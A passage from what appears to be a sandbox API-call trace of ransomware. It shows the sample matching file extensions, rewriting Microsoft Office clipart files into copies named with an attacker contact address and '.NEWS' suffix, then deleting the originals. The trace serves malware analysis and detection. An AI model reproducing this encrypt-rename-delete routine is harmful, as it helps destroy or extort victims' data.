lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.624] lstrlenW (lpString=".dbf") returned 4 [0161.624] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.624] lstrlenW (lpString=".1cd") returned 4 [0161.624] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0161.624] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00177_.WMF") returned 68 [0161.624] lstrlenW (lpString=".jpg") returned 4 [0161.624] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0161.624] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0161.624] lstrlenW (lpString="IN00233_.WMF") returned 12 [0161.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.625] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=11190) returned 1 [0161.625] CloseHandle (hObject=0x47c) returned 1 [0161.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 0x220 [0161.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0161.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0161.626] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.626] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0161.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0161.629] GetLastError () returned 0x0 [0161.629] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x2bb6, lpOverlapped=0x0) returned 1 [0161.644] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x2bc0, lpOverlapped=0x0) returned 1 [0162.080] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.080] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.081] SetEndOfFile (hFile=0x4c4) returned 1 [0162.081] CloseHandle (hObject=0x4c4) returned 1 [0162.081] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.081] SetEndOfFile (hFile=0x47c) returned 1 [0162.087] CloseHandle (hObject=0x47c) returned 1 [0162.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00233_.wmf")) returned 1 [0162.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.089] lstrlenW (lpString=".doc") returned 4 [0162.089] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.089] lstrlenW (lpString=".docx") returned 5 [0162.089] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.089] lstrlenW (lpString=".pdf") returned 4 [0162.089] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.089] lstrlenW (lpString=".xls") returned 4 [0162.089] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.089] lstrlenW (lpString=".xlsx") returned 5 [0162.089] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.089] lstrlenW (lpString=".ppt") returned 4 [0162.089] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.089] lstrlenW (lpString=".zip") returned 4 [0162.089] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.089] lstrlenW (lpString=".rar") returned 4 [0162.089] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.089] lstrlenW (lpString=".bz2") returned 4 [0162.089] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.089] lstrlenW (lpString=".7z") returned 3 [0162.089] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.089] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.089] lstrlenW (lpString=".dbf") returned 4 [0162.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.090] lstrlenW (lpString=".1cd") returned 4 [0162.090] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.090] lstrlenW (lpString=".jpg") returned 4 [0162.090] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.090] lstrlenW (lpString=".doc") returned 4 [0162.090] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString=".docx") returned 5 [0162.090] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.090] lstrlenW (lpString=".pdf") returned 4 [0162.090] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString=".xls") returned 4 [0162.090] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.090] lstrlenW (lpString=".xlsx") returned 5 [0162.090] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.090] lstrlenW (lpString=".ppt") returned 4 [0162.090] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.090] lstrlenW (lpString=".zip") returned 4 [0162.090] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.090] lstrlenW (lpString=".rar") returned 4 [0162.090] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString=".bz2") returned 4 [0162.090] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.090] lstrlenW (lpString=".7z") returned 3 [0162.090] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.090] lstrlenW (lpString=".dbf") returned 4 [0162.090] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.091] lstrlenW (lpString=".1cd") returned 4 [0162.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00233_.WMF") returned 68 [0162.091] lstrlenW (lpString=".jpg") returned 4 [0162.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.091] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0162.091] lstrlenW (lpString="IN00919_.WMF") returned 12 [0162.091] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0162.092] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=6920) returned 1 [0162.092] CloseHandle (hObject=0x47c) returned 1 [0162.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 0x220 [0162.092] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0162.092] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.093] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.093] GetLastError () returned 0x0 [0162.093] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x1b08, lpOverlapped=0x0) returned 1 [0162.096] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x1b10, lpOverlapped=0x0) returned 1 [0162.097] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.097] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.097] SetEndOfFile (hFile=0x4c4) returned 1 [0162.097] CloseHandle (hObject=0x4c4) returned 1 [0162.097] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.098] SetEndOfFile (hFile=0x47c) returned 1 [0162.100] CloseHandle (hObject=0x47c) returned 1 [0162.100] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.101] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00919_.wmf")) returned 1 [0162.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.101] lstrlenW (lpString=".doc") returned 4 [0162.101] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.101] lstrlenW (lpString=".docx") returned 5 [0162.101] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.102] lstrlenW (lpString=".pdf") returned 4 [0162.102] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString=".xls") returned 4 [0162.102] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.102] lstrlenW (lpString=".xlsx") returned 5 [0162.102] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.102] lstrlenW (lpString=".ppt") returned 4 [0162.102] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.102] lstrlenW (lpString=".zip") returned 4 [0162.102] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.102] lstrlenW (lpString=".rar") returned 4 [0162.102] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString=".bz2") returned 4 [0162.102] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString=".7z") returned 3 [0162.102] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.102] lstrlenW (lpString=".dbf") returned 4 [0162.102] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.102] lstrlenW (lpString=".1cd") returned 4 [0162.102] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.102] lstrlenW (lpString=".jpg") returned 4 [0162.102] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.102] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.102] lstrlenW (lpString=".doc") returned 4 [0162.102] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.102] lstrlenW (lpString=".docx") returned 5 [0162.103] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.103] lstrlenW (lpString=".pdf") returned 4 [0162.103] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.103] lstrlenW (lpString=".xls") returned 4 [0162.103] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.103] lstrlenW (lpString=".xlsx") returned 5 [0162.103] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.103] lstrlenW (lpString=".ppt") returned 4 [0162.103] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.103] lstrlenW (lpString=".zip") returned 4 [0162.103] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.103] lstrlenW (lpString=".rar") returned 4 [0162.103] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.103] lstrlenW (lpString=".bz2") returned 4 [0162.103] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.103] lstrlenW (lpString=".7z") returned 3 [0162.103] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.103] lstrlenW (lpString=".dbf") returned 4 [0162.103] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.103] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.103] lstrlenW (lpString=".1cd") returned 4 [0162.104] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.104] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00919_.WMF") returned 68 [0162.104] lstrlenW (lpString=".jpg") returned 4 [0162.104] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.104] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0162.104] lstrlenW (lpString="IN00956_.WMF") returned 12 [0162.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0162.104] GetFileSizeEx (in: hFile=0x47c, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=1256) returned 1 [0162.104] CloseHandle (hObject=0x47c) returned 1 [0162.104] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 0x220 [0162.105] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0162.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x47c [0162.105] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.105] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.105] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4c4 [0162.106] GetLastError () returned 0x0 [0162.106] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4e8, lpOverlapped=0x0) returned 1 [0162.108] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0162.109] ReadFile (in: hFile=0x47c, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.109] WriteFile (in: hFile=0x4c4, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0162.109] SetEndOfFile (hFile=0x4c4) returned 1 [0162.110] CloseHandle (hObject=0x4c4) returned 1 [0162.110] SetFilePointerEx (in: hFile=0x47c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.110] SetEndOfFile (hFile=0x47c) returned 1 [0162.113] CloseHandle (hObject=0x47c) returned 1 [0162.113] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0162.114] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\in00956_.wmf")) returned 1 [0162.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.114] lstrlenW (lpString=".doc") returned 4 [0162.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString=".docx") returned 5 [0162.115] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.115] lstrlenW (lpString=".pdf") returned 4 [0162.115] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString=".xls") returned 4 [0162.115] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.115] lstrlenW (lpString=".xlsx") returned 5 [0162.115] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.115] lstrlenW (lpString=".ppt") returned 4 [0162.115] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.115] lstrlenW (lpString=".zip") returned 4 [0162.115] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.115] lstrlenW (lpString=".rar") returned 4 [0162.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString=".bz2") returned 4 [0162.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString=".7z") returned 3 [0162.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.115] lstrlenW (lpString=".dbf") returned 4 [0162.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.115] lstrlenW (lpString=".1cd") returned 4 [0162.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.115] lstrlenW (lpString=".jpg") returned 4 [0162.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.116] lstrlenW (lpString=".doc") returned 4 [0162.116] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString=".docx") returned 5 [0162.116] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0162.116] lstrlenW (lpString=".pdf") returned 4 [0162.116] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString=".xls") returned 4 [0162.116] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.116] lstrlenW (lpString=".xlsx") returned 5 [0162.116] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0162.116] lstrlenW (lpString=".ppt") returned 4 [0162.116] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.116] lstrlenW (lpString=".zip") returned 4 [0162.116] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.116] lstrlenW (lpString=".rar") returned 4 [0162.116] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString=".bz2") returned 4 [0162.116] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.116] lstrlenW (lpString=".7z") returned 3 [0162.116] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.116] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\IN00956_.WMF") returned 68 [0162.116] lstrlenW (lpString=".dbf") returned 4 [0162.116] 